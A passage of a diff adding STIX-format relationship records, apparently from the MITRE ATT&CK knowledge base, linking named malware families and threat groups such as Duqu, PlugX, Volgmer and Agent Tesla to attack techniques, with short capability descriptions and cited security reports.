"2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "source_name": "TrendMicro RawPOS April 2015", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + }, + { + "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.", + "source_name": "Visa RawPOS March 2015", + "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) collects keystrokes from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--29f2ee6a-682d-4812-b7d6-ff00cabf09dc", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can execute shell commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--03c08ef9-80c7-4f20-b197-ad44f702f2e0", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) can enumerate processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d2638428-d31e-4ea4-80e1-26c9c25472d6", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) obtains the victim username and saves it to a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6c71a59f-05e6-44cc-ace5-33200e1f0846", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "source_name": "ThreatExpert Agent.btz", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c612eb88-d7e0-46cc-a9bc-d0da2977ff00", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can download remote files and additional payloads to the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--720cc0d6-9285-425b-bda2-3bdd59b4ea8f", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "Some [ZeroT](https://attack.mitre.org/software/S0230) DLL files have been packed with UPX.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b703258a-ea4b-4778-9b98-b053bd16a959", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.428Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "APIs and strings in some [TYPEFRAME](https://attack.mitre.org/software/S0263) variants are RC4 encrypted. Another variant is encoded with XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--573e7f53-26e9-4eae-af0e-308d11192f57", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exfiltrated files stolen from file shares.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--595be2e7-9f2a-4d5a-b23d-8e4822ae6199", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.380Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[yty](https://attack.mitre.org/software/S0248) communicates to the C2 server by retrieving a Google Doc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--234dc427-cce0-45d5-9971-02890aff608d", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.234Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.063Z", + "id": "relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.612Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.287Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the OS version and computer name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--100f4917-1702-4707-bd9f-58d471e77018", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.250Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Rover](https://attack.mitre.org/software/S0090) persists by creating a Registry entry in HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) uses port 443 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T14:51:06.840Z", + "id": "relationship--9b99fba6-15bd-4102-bcab-4cdf8e5be334", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.937Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to change service configurations as well as start, control, and delete services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.188Z", + "id": "relationship--70a7b969-13c8-4bb6-8b3b-e6d3a984e823", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) has been known to establish persistence by adding programs to the Run Registry key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.", + "source_name": "Blasco 2013", + "url": "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "description": "One variant of [BlackEnergy](https://attack.mitre.org/software/S0089) locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9064fd2e-4e0a-44e4-8bde-6e6c4cf8495f", + "source_ref": "course-of-action--61d02387-351a-453e-a575-160a9abc3e04", + "modified": "2019-07-25T11:30:18.927Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e64a09d0-4205-4aca-8acb-f6926233d107", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.568Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) payload is stored in a hidden directory at /Users/Shared/.local/kextd.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[SslMM](https://attack.mitre.org/software/S0058) sends the logged-on username to its hard-coded C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0df8e968-716a-4de9-9669-862af62d6eb6", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "modified": "2019-04-25T02:48:47.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of logging keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--52278e18-f8b3-4bf1-a5d3-ac819ccfd301", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "modified": "2019-01-29T18:23:46.269Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses port 52100 and 5876 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--396877b9-7276-4384-8475-38f7100d3380", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a Registry subkey that registers a new service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f7ded6a1-043e-437a-8a0c-00ded73e5289", + "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.", + "source_name": "Symantec Nerex May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) encrypts some C2 traffic with the Blowfish cipher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.579Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to find files and directories with native functionality such as dir commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2c09a27c-2eea-4287-9908-964533234e71", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Dir. Retrieved April 18, 2016.", + "source_name": "TechNet Dir", + "url": "https://technet.microsoft.com/en-us/library/cc755121.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has routines for exfiltration over SMTP, FTP, and HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:05.077Z", + "id": "relationship--60c1b489-f1fc-4568-aba0-54e932715abc", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.364Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + 